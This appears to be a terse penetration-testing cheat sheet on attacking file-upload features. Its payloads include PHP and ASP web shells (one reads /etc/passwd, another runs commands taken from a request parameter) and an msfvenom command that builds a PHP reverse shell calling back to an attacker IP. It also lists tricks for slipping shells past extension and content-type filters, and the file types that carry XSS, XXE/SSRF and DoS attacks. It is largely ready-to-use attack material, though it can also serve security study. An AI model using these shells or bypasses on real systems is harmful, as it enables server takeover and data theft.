hi@hectortoral.com

1 min read

Web Shells

Web ShellDescription
<?php file_get_contents('/etc/passwd'); ?>Basic PHP File Read
<?php system('hostname'); ?>Basic PHP Command Execution
<?php system($_REQUEST['cmd']); ?>Basic PHP Web Shell
<% eval request('cmd') %>Basic ASP Web Shell
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.phpGenerate PHP reverse shell
PHP Web ShellPHP Web Shell
PHP Reverse ShellPHP Reverse Shell
Web/Reverse ShellsList of Web Shells and Reverse Shells

Bypasses

CommandDescription
Client-Side Bypass
[CTRL+SHIFT+C]Toggle Page Inspector
Blacklist Bypass
shell.phtmlUncommon Extension
shell.pHpCase Manipulation
PHP ExtensionsList of PHP Extensions
ASP ExtensionsList of ASP Extensions
Web ExtensionsList of Web Extensions
Whitelist Bypass
shell.jpg.phpDouble Extension
shell.php.jpgReverse Double Extension
%20, %0a, %00, %0d0a, /, .\, ., Character Injection - Before/After Extension
Content/Type Bypass
Web Content-TypesList of Web Content-Types
Content-TypesList of All Content-Types
File SignaturesList of File Signatures/Magic Bytes

Limited Uploads

Potential AttackFile Types
XSSHTML, JS, SVG, GIF
XXE/SSRFXML, SVG, PDF, PPT, DOC
DoSZIP, JPG, PNG